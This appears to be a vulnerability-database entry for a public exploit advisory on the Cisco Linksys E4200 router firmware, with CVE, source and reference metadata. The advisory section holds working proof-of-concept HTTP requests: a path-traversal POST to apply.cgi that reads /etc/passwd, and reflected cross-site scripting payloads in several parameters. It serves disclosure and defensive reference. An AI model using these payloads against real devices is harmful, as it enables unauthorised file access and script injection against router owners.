Sign-up

ID

VAR-E-201304-0092


CVE

cve_id:CVE-2013-2678

Trust: 2.4

cve_id:CVE-2013-2679

Trust: 2.3

cve_id:CVE-2013-2682

Trust: 1.8

cve_id:CVE-2013-2680

Trust: 1.5

cve_id:CVE-2013-2681

Trust: 1.5

cve_id:CVE-2013-2683

Trust: 1.5

cve_id:CVE-2013-2684

Trust: 1.5

sources: BID: 59717 // BID: 59710 // BID: 59558 // PACKETSTORM: 122342 // PACKETSTORM: 121551 // EXPLOIT-DB: 25292 // EDBNET: 47314

EDB ID

25292


TITLE

Cisco Linksys E4200 - Multiple Vulnerabilities - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 25292

DESCRIPTION

Cisco Linksys E4200 - Multiple Vulnerabilities. CVE-2013-2684CVE-2013-2683CVE-2013-2682CVE-2013-2681CVE-2013-2680CVE-2013-2679CVE-2013-2678CVE-93065CVE-93064CVE-93063CVE-93062CVE-93061CVE-93060CVE-93059CVE-89911 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 25292

AFFECTED PRODUCTS

vendor:ciscomodel:linksys e4200scope: - version: -

Trust: 2.1

vendor:ciscomodel:linksys e4200 buildscope:eqversion:1.0.057

Trust: 0.6

vendor:ciscomodel:linksys e1200 n300scope:eqversion:/

Trust: 0.5

sources: BID: 59717 // BID: 59710 // PACKETSTORM: 122342 // PACKETSTORM: 121551 // EXPLOIT-DB: 25292 // EDBNET: 47314

EXPLOIT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

=============================================

XSS, LFI in Cisco, Linksys E4200 Firmware

=============================================

URL: http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html

=============================================

January 30, 2013

=============================================

Keywords

=============================================

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, Exploit,
Zero Day, Cisco, Linksys, E4200, Wireless Router, cyberTAN Corp

CVE-2013-2678, CVE-2013-2679, CVE-2013-2680, CVE-2013-2681, CVE-2013-2682,
CVE-2013-2683, CVE-2013-2684

=============================================

Summary

Reflected XSS + LFI Bugs in the Cisco, Linksys E4200 Wireless Router
Firmware Version: 1.0.05 build 7 were discovered by our Researchers in
January 2013 and finally acknowledged by Linksys in April 2013. The Vendor
is unable to Patch the Vulnerability in a reasonable timeframe. This
document will introduce and discuss the vulnerability and provide
Proof-of-Concept (PoC) Zero Day (0D) code examples for Firmware L Version
1.10 Released on July 9, 2012, and prior versions.

=============================================

Overview

Linksys is a brand of home and small office networking products and a
company founded in 1988, which was acquired by Cisco Systems in 2003. In
2013, as part of its push away from the consumer market, Cisco sold their
home networking division and Linksys to Belkin. Former Linksys products are
now branded as Linksys by Cisco.

Products currently and previously sold under the Linksys brand name include
broadband and wireless routers, consumer and small business grade Ethernet
switching, VoIP equipment, wireless internet video camera, AV products,
network storage systems, and other products.

Linksys products were widely available in North America off-the-shelf from
both consumer electronics stores (CompUSA and Best Buy), internet
retailers, and big-box retail stores (WalMart). Linksys' significant
competition as an independent networking firm were D-Link and NetGear, the
latter for a time being a brand of Cisco competitor Nortel.

=============================================

Vendor Software Fingerprint

=============================================

# Copyright (C) 2009, CyberTAN Corporation

# All Rights Reserved.

#

# THIS SOFTWARE IS OFFERED "AS IS", AND CYBERTAN GRANTS NO WARRANTIES OF
ANY

# KIND, EXPRESS OR IMPLIED, BY STATUTE.....

=============================================

The PoC's

=============================================

LFI PoC

=============================================

POST /storage/apply.cgi HTTP/1.1

HOST: my.vunerable.e4500.firmware

submit_type=nas_admin&submit_button=NAS_Administration&change_action=gozila
_cgi&next_page=../../../../../../../../../../../../../../../../etc/passwd

=============================================

XSS PoC

=============================================

/apply.cgi [log_type parameter]

/apply.cgi [ping_ip parameter]

/apply.cgi [ping_size parameter]

/apply.cgi [submit_type parameter]

/apply.cgi [traceroute_ip parameter]

/storage/apply.cgi [new_workgroup parameter]

/storage/apply.cgi [submit_button parameter]

=============================================

POST /apply.cgi HTTP/1.1

�..

change_action=gozila_cgi&submit_button=Log_View&submit_type=undefined&log_t
ype=&log_type=ilog14568"%3balert(1)//482

=============================================

Other XSS PoC�s

=============================================

&ping_ip='><script>alert(1)</script>

&ping_size='><script>alert(1)</script>

&submit_type=start_traceroute'%3balert(1)//

&traceroute_ip=a.b.c.d"><script>alert(1)</script>

=============================================

CVE Information

=============================================

File path traversal CVE-2013-2678

Cross-site scripting (reflected) CVE-2013-2679

Cleartext submission of password CVE-2013-2680

Password field with autocomplete enabled CVE-2013-2681

Frameable response (Clickjacking) CVE-2013-2682

Private IP addresses disclosed CVE-2013-2683

HTML does not specify charset CVE-2013-2684

CVSS Version 2 Score = 4.5

=============================================

END

=============================================

-----BEGIN PGP SIGNATURE-----
Version: 10.2.0.2526

wsBVAwUBUYkNUnz+WcLIygj0AQg1/QgAs9Ij9d9e6IYfZXeeiCZTwoKdgtOVkser
M3c49LB4CnJrxMqlrVNhM5Y2YxjydpGG1EfNzc49L43dC2G/Q2cHRfQOWdgcIXEG
uJPDmKcONMN+V+rwvncyulGnCgl7R7whxspjqQk4Ov6lM+rbL3ulEi5Lg2IwzoYy
ul0J8okWO9hTBWh9cbAiUMMJ7FsC3Kb0KUH2NepathT604Pif4zHtxcYY62jOEdy
7xrUSt1HUw9HMC1s0MHLWcqUbJowSlx6cInl977WKphWB8bK0bqWJO+C0cCC3jdI
V8qUOX2sfB2znwOcfsiTH4olBBH1nlXtnRJxyTr42qET4nBfqFOshg==
=w123
-----END PGP SIGNATURE-----

Trust: 1.0

sources: EXPLOIT-DB: 25292

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 25292

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 25292

TYPE

Multiple Vulnerabilities

Trust: 1.6

sources: EXPLOIT-DB: 25292 // EDBNET: 47314

TAGS

tag:exploit

Trust: 1.0

tag:xss

Trust: 1.0

tag:local

Trust: 0.5

tag:vulnerability

Trust: 0.5

tag:file inclusion

Trust: 0.5

sources: PACKETSTORM: 122342 // PACKETSTORM: 121551

CREDITS

sqlhacker

Trust: 0.6

sources: EXPLOIT-DB: 25292

EXTERNAL IDS

db:NVDid:CVE-2013-2678

Trust: 2.4

db:NVDid:CVE-2013-2679

Trust: 2.3

db:NVDid:CVE-2013-2682

Trust: 1.8

db:EXPLOIT-DBid:25292

Trust: 1.6

db:NVDid:CVE-2013-2680

Trust: 1.5

db:NVDid:CVE-2013-2683

Trust: 1.5

db:NVDid:CVE-2013-2681

Trust: 1.5

db:NVDid:CVE-2013-2684

Trust: 1.5

db:EDBNETid:47314

Trust: 0.6

db:PACKETSTORMid:122342

Trust: 0.5

db:PACKETSTORMid:121551

Trust: 0.5

db:BIDid:59717

Trust: 0.3

db:BIDid:59710

Trust: 0.3

db:BIDid:59558

Trust: 0.3

sources: BID: 59717 // BID: 59710 // BID: 59558 // PACKETSTORM: 122342 // PACKETSTORM: 121551 // EXPLOIT-DB: 25292 // EDBNET: 47314

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2013-2678

Trust: 2.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2679

Trust: 2.0

url:https://nvd.nist.gov/vuln/detail/cve-2013-2681

Trust: 1.5

url:https://nvd.nist.gov/vuln/detail/cve-2013-2680

Trust: 1.5

url:https://nvd.nist.gov/vuln/detail/cve-2013-2682

Trust: 1.5

url:https://nvd.nist.gov/vuln/detail/cve-2013-2684

Trust: 1.5

url:https://nvd.nist.gov/vuln/detail/cve-2013-2683

Trust: 1.5

url:http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html

Trust: 0.6

url:http://support.linksys.com/en-us/support/routers/e4200

Trust: 0.6

url:https://www.exploit-db.com/exploits/25292/

Trust: 0.6

url:http://www.cisco.com

Trust: 0.3

sources: BID: 59717 // BID: 59710 // BID: 59558 // PACKETSTORM: 122342 // PACKETSTORM: 121551 // EXPLOIT-DB: 25292 // EDBNET: 47314

SOURCES

db:BIDid:59717
db:BIDid:59710
db:BIDid:59558
db:PACKETSTORMid:122342
db:PACKETSTORMid:121551
db:EXPLOIT-DBid:25292
db:EDBNETid:47314

LAST UPDATE DATE

2022-07-27T09:32:53.673000+00:00


SOURCES UPDATE DATE

db:BIDid:59717date:2013-05-06T00:00:00
db:BIDid:59710date:2013-05-06T00:00:00
db:BIDid:59558date:2013-07-10T14:22:00

SOURCES RELEASE DATE

db:BIDid:59717date:2013-05-06T00:00:00
db:BIDid:59710date:2013-05-06T00:00:00
db:BIDid:59558date:2013-04-27T00:00:00
db:PACKETSTORMid:122342date:2013-07-10T21:52:09
db:PACKETSTORMid:121551date:2013-05-07T20:22:22
db:EXPLOIT-DBid:25292date:2013-05-07T00:00:00
db:EDBNETid:47314date:2013-05-07T00:00:00